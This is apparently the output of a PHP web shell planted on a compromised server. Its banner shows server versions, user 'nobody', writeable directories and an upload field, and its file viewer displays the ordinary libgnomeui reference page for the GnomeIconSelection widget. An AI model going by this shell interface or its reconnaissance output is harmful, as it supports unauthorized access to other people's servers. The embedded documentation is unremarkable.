KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /proc/21585/root/usr/share/gtk-doc/html/libgnomeui/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/21585/root/usr/share/gtk-doc/html/libgnomeui/GnomeIconSelection.html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<title>GnomeIconSelection</title>
<meta name="generator" content="DocBook XSL Stylesheets V1.69.1">
<link rel="start" href="index.html" title="GNOME UI Library Reference Manual">
<link rel="up" href="fixme.html" title="Miscellaneous Widgets">
<link rel="prev" href="libgnomeui-GnomeIconTheme.html" title="GnomeIconTheme">
<link rel="next" href="libgnomeui-GnomeThemeFile.html" title="GnomeThemeFile">
<meta name="generator" content="GTK-Doc V1.7 (XML mode)">
<link rel="stylesheet" href="style.css" type="text/css">
<link rel="chapter" href="ch01.html" title="GNOME UI Library (libgnomeui)">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<table class="navigation" id="top" width="100%" summary="Navigation header" cellpadding="2" cellspacing="2">
<tr valign="middle">
<td><a accesskey="p" href="libgnomeui-GnomeIconTheme.html"><img src="left.png" width="24" height="24" border="0" alt="Prev"></a></td>
<td><a accesskey="u" href="fixme.html"><img src="up.png" width="24" height="24" border="0" alt="Up"></a></td>
<td><a accesskey="h" href="index.html"><img src="home.png" width="24" height="24" border="0" alt="Home"></a></td>
<th width="100%" align="center">GNOME UI Library Reference Manual</th>
<td><a accesskey="n" href="libgnomeui-GnomeThemeFile.html"><img src="right.png" width="24" height="24" border="0" alt="Next"></a></td>
</tr>
<tr><td colspan="5" class="shortcuts"><nobr><a href="#id3061697" class="shortcut">Top</a>
                  &#160;|&#160;
                  <a href="#id3062071" class="shortcut">Description</a>
                  &#160;|&#160;
                  <a href="#id3061979" class="shortcut">Object Hierarchy</a>
                  &#160;|&#160;
                  <a href="#id3062048" class="shortcut">Implemented Interfaces</a></nobr></td></tr>
</table>
<div class="refentry" lang="en">
<a name="GnomeIconSelection"></a><div class="titlepage"></div>
<div class="refnamediv"><table width="100%"><tr>
<td valign="top">
<h2>
<a name="id3061697"></a><span class="refentrytitle">GnomeIconSelection</span>
</h2>
<p>GnomeIconSelection &#8212; </p>
</td>
<td valign="top" align="right"></td>
</tr></table></div>
<div class="refsynopsisdiv">
<h2>Synopsis</h2>
<pre class="synopsis">

#include &lt;libgnomeui/libgnomeui.h&gt;


            <a href="GnomeIconSelection.html#GnomeIconSelection-struct">GnomeIconSelection</a>;
<a
href="/usr/share/gtk-doc/html/gtk/GtkWidget.html"
>GtkWidget</a>*  <a href="GnomeIconSelection.html#gnome-icon-selection-new">gnome_icon_selection_new</a>        (void);
void        <a href="GnomeIconSelection.html#gnome-icon-selection-add-defaults">gnome_icon_selection_add_defaults</a>
                                            (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis);
void        <a href="GnomeIconSelection.html#gnome-icon-selection-add-directory">gnome_icon_selection_add_directory</a>
                                            (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis,
                                             const <a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gchar"
>gchar</a> *dir);
void        <a href="GnomeIconSelection.html#gnome-icon-selection-show-icons">gnome_icon_selection_show_icons</a> (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis);
void        <a href="GnomeIconSelection.html#gnome-icon-selection-clear">gnome_icon_selection_clear</a>      (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis,
                                             <a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gboolean"
>gboolean</a> not_shown);
<a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gchar"
>gchar</a>*      <a href="GnomeIconSelection.html#gnome-icon-selection-get-icon">gnome_icon_selection_get_icon</a>   (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis,
                                             <a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gboolean"
>gboolean</a> full_path);
void        <a href="GnomeIconSelection.html#gnome-icon-selection-select-icon">gnome_icon_selection_select_icon</a>
                                            (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis,
                                             const <a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gchar"
>gchar</a> *filename);
void        <a href="GnomeIconSelection.html#gnome-icon-selection-stop-loading">gnome_icon_selection_stop_loading</a>
                                            (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis);
<a
href="/usr/share/gtk-doc/html/gtk/GtkWidget.html"
>GtkWidget</a>*  <a href="GnomeIconSelection.html#gnome-icon-selection-get-gil">gnome_icon_selection_get_gil</a>    (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis);
<a
href="/usr/share/gtk-doc/html/gtk/GtkWidget.html"
>GtkWidget</a>*  <a href="GnomeIconSelection.html#gnome-icon-selection-get-box">gnome_icon_selection_get_box</a>    (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis);


</pre>
</div>
<div class="refsect1" lang="en">
<a name="id3061979"></a><h2>Object Hierarchy</h2>
<pre class="synopsis">

  <a
href="/usr/share/gtk-doc/html/gobject/gobject-The-Base-Object-Type.html#GObject"
>GObject</a>
   +----<a
href="/usr/share/gtk-doc/html/gobject/gobject-The-Base-Object-Type.html#GInitiallyUnowned"
>GInitiallyUnowned</a>
         +----<a
href="/usr/share/gtk-doc/html/gtk/GtkObject.html"
>GtkObject</a>
               +----<a
href="/usr/share/gtk-doc/html/gtk/GtkWidget.html"
>GtkWidget</a>
                     +----<a
href="/usr/share/gtk-doc/html/gtk/GtkContainer.html"
>GtkContainer</a>
                           +----<a
href="/usr/share/gtk-doc/html/gtk/GtkBox.html"
>GtkBox</a>
                                 +----<a
href="/usr/share/gtk-doc/html/gtk/GtkVBox.html"
>GtkVBox</a>
                                       +----GnomeIconSelection
</pre>
</div>
<div class="refsect1" lang="en">
<a name="id3062048"></a><h2>Implemented Interfaces</h2>
<p>
GnomeIconSelection implements
 AtkImplementorIface.</p>
</div>
<div class="refsect1" lang="en">
<a name="id3062071"></a><h2>Description</h2>
<p>

</p>
</div>
<div class="refsect1" lang="en">
<a name="id3062085"></a><h2>Details</h2>
<div class="refsect2" lang="en">
<a name="id3062095"></a><h3>
<a name="GnomeIconSelection-struct"></a>GnomeIconSelection</h3>
<a class="indexterm" name="id3062109"></a><pre class="programlisting">typedef struct _GnomeIconSelection GnomeIconSelection;</pre>
<p>

</p>
</div>
<hr>
<div class="refsect2" lang="en">
<a name="id3062125"></a><h3>
<a name="gnome-icon-selection-new"></a>gnome_icon_selection_new ()</h3>
<a class="indexterm" name="id3062137"></a><pre class="programlisting"><a
href="/usr/share/gtk-doc/html/gtk/GtkWidget.html"
>GtkWidget</a>*  gnome_icon_selection_new        (void);</pre>
<p>
Creates a new icon selection widget, it uses GnomeIconList
for the listing of icons</p>
<p>

</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody><tr>
<td>
<span class="term"><span class="emphasis"><em>Returns</em></span>&#160;:</span></td>
<td> Returns the new object
</td>
</tr></tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<a name="id3062178"></a><h3>
<a name="gnome-icon-selection-add-defaults"></a>gnome_icon_selection_add_defaults ()</h3>
<a class="indexterm" name="id3062193"></a><pre class="programlisting">void        gnome_icon_selection_add_defaults
                                            (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis);</pre>
<p>
Adds the default pixmap directory into the selection
widget. It doesn't show the icons in the selection until you
do <a href="GnomeIconSelection.html#gnome-icon-selection-show-icons"><span class="type">gnome_icon_selection_show_icons</span></a>.</p>
<p>

</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody><tr>
<td>
<span class="term"><em class="parameter"><code>gis</code></em>&#160;:</span></td>
<td> GnomeIconSelection to work with
</td>
</tr></tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<a name="id3062254"></a><h3>
<a name="gnome-icon-selection-add-directory"></a>gnome_icon_selection_add_directory ()</h3>
<a class="indexterm" name="id3062269"></a><pre class="programlisting">void        gnome_icon_selection_add_directory
                                            (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis,
                                             const <a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gchar"
>gchar</a> *dir);</pre>
<p>
Adds the icons from the directory <em class="parameter"><code>dir</code></em> to the
selection widget. It doesn't show the icons in the selection
until you do <a href="GnomeIconSelection.html#gnome-icon-selection-show-icons"><span class="type">gnome_icon_selection_show_icons</span></a>.</p>
<p>

</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody>
<tr>
<td>
<span class="term"><em class="parameter"><code>gis</code></em>&#160;:</span></td>
<td> GnomeIconSelection to work with
</td>
</tr>
<tr>
<td>
<span class="term"><em class="parameter"><code>dir</code></em>&#160;:</span></td>
<td> directory with pixmaps
</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<a name="id3062357"></a><h3>
<a name="gnome-icon-selection-show-icons"></a>gnome_icon_selection_show_icons ()</h3>
<a class="indexterm" name="id3062371"></a><pre class="programlisting">void        gnome_icon_selection_show_icons (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis);</pre>
<p>
Shows the icons inside the widget that
were added with <a href="GnomeIconSelection.html#gnome-icon-selection-add-defaults"><span class="type">gnome_icon_selection_add_defaults</span></a> and
<a href="GnomeIconSelection.html#gnome-icon-selection-add-directory"><span class="type">gnome_icon_selection_add_directory</span></a>. Before this function
is called the icons aren't actually added to the listing 
and can't be picked by the user.</p>
<p>

</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody><tr>
<td>
<span class="term"><em class="parameter"><code>gis</code></em>&#160;:</span></td>
<td> GnomeIconSelection to work with
</td>
</tr></tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<a name="id3062442"></a><h3>
<a name="gnome-icon-selection-clear"></a>gnome_icon_selection_clear ()</h3>
<a class="indexterm" name="id3062456"></a><pre class="programlisting">void        gnome_icon_selection_clear      (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis,
                                             <a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gboolean"
>gboolean</a> not_shown);</pre>
<p>
Clear the currently shown icons, the ones
that weren't shown yet are not cleared unless the not_shown
parameter is given, in which case even those are cleared.</p>
<p>

</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody>
<tr>
<td>
<span class="term"><em class="parameter"><code>gis</code></em>&#160;:</span></td>
<td> GnomeIconSelection to work with
</td>
</tr>
<tr>
<td>
<span class="term"><em class="parameter"><code>not_shown</code></em>&#160;:</span></td>
<td> boolean
</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<a name="id3062530"></a><h3>
<a name="gnome-icon-selection-get-icon"></a>gnome_icon_selection_get_icon ()</h3>
<a class="indexterm" name="id3062544"></a><pre class="programlisting"><a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gchar"
>gchar</a>*      gnome_icon_selection_get_icon   (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis,
                                             <a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gboolean"
>gboolean</a> full_path);</pre>
<p>
Gets the currently selected icon name, if
full_path is true, it returns the full path to the icon,
if none is selected it returns NULL</p>
<p>

</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody>
<tr>
<td>
<span class="term"><em class="parameter"><code>gis</code></em>&#160;:</span></td>
<td> GnomeIconSelection to work with
</td>
</tr>
<tr>
<td>
<span class="term"><em class="parameter"><code>full_path</code></em>&#160;:</span></td>
<td> boolean
</td>
</tr>
<tr>
<td>
<span class="term"><span class="emphasis"><em>Returns</em></span>&#160;:</span></td>
<td> internal string, it must not be changed or freed
or NULL
</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<a name="id3062629"></a><h3>
<a name="gnome-icon-selection-select-icon"></a>gnome_icon_selection_select_icon ()</h3>
<a class="indexterm" name="id3062643"></a><pre class="programlisting">void        gnome_icon_selection_select_icon
                                            (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis,
                                             const <a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gchar"
>gchar</a> *filename);</pre>
<p>
Selects the icon <em class="parameter"><code>filename</code></em>. This icon must have
already been added and shown * (see <em class="parameter"><code>gnome_icon_selection_show_icons</code></em>)</p>
<p>

</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody>
<tr>
<td>
<span class="term"><em class="parameter"><code>gis</code></em>&#160;:</span></td>
<td> GnomeIconSelection to work with
</td>
</tr>
<tr>
<td>
<span class="term"><em class="parameter"><code>filename</code></em>&#160;:</span></td>
<td> icon filename
</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<a name="id3062729"></a><h3>
<a name="gnome-icon-selection-stop-loading"></a>gnome_icon_selection_stop_loading ()</h3>
<a class="indexterm" name="id3062744"></a><pre class="programlisting">void        gnome_icon_selection_stop_loading
                                            (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis);</pre>
<p>
Stop the loading of images when we are in
the loop in show_icons, otherwise it does nothing and is
harmless, it should be used say if the dialog was hidden
or when we want to quickly stop loading the images to do
something else without destroying the icon selection object.
The remaining icons can be shown by
<a href="GnomeIconSelection.html#gnome-icon-selection-show-icons"><span class="type">gnome_icon_selection_show_icons</span></a>.</p>
<p>

</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody><tr>
<td>
<span class="term"><em class="parameter"><code>gis</code></em>&#160;:</span></td>
<td> GnomeIconSelection to work with
</td>
</tr></tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<a name="id3062808"></a><h3>
<a name="gnome-icon-selection-get-gil"></a>gnome_icon_selection_get_gil ()</h3>
<a class="indexterm" name="id3062822"></a><pre class="programlisting"><a
href="/usr/share/gtk-doc/html/gtk/GtkWidget.html"
>GtkWidget</a>*  gnome_icon_selection_get_gil    (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis);</pre>
<p>
Gets the <a href="GnomeIconList.html" title="GnomeIconList"><span class="type">GnomeIconList</span></a> widget that is
used for the display of icons</p>
<p>

</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody>
<tr>
<td>
<span class="term"><em class="parameter"><code>gis</code></em>&#160;:</span></td>
<td> GnomeIconSelection to work with
</td>
</tr>
<tr>
<td>
<span class="term"><span class="emphasis"><em>Returns</em></span>&#160;:</span></td>
<td> a <a
href="/usr/share/gtk-doc/html/gtk/GtkWidget.html"
><span class="type">GtkWidget</span></a> pointer to the interal widget
</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<a name="id3062900"></a><h3>
<a name="gnome-icon-selection-get-box"></a>gnome_icon_selection_get_box ()</h3>
<a class="indexterm" name="id3062914"></a><pre class="programlisting"><a
href="/usr/share/gtk-doc/html/gtk/GtkWidget.html"
>GtkWidget</a>*  gnome_icon_selection_get_box    (<a href="GnomeIconSelection.html" title="GnomeIconSelection">GnomeIconSelection</a> *gis);</pre>
<p>
Gets the <a
href="/usr/share/gtk-doc/html/gtk/GtkVBox.html"
><span class="type">GtkVBox</span></a> widget that is
used to pack the different elements of the selection
into.</p>
<p>

</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody>
<tr>
<td>
<span class="term"><em class="parameter"><code>gis</code></em>&#160;:</span></td>
<td> GnomeIconSelection to work with
</td>
</tr>
<tr>
<td>
<span class="term"><span class="emphasis"><em>Returns</em></span>&#160;:</span></td>
<td> a <a
href="/usr/share/gtk-doc/html/gtk/GtkWidget.html"
><span class="type">GtkWidget</span></a> pointer to the interal widget
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</body>
</html>

Anon7 - 2021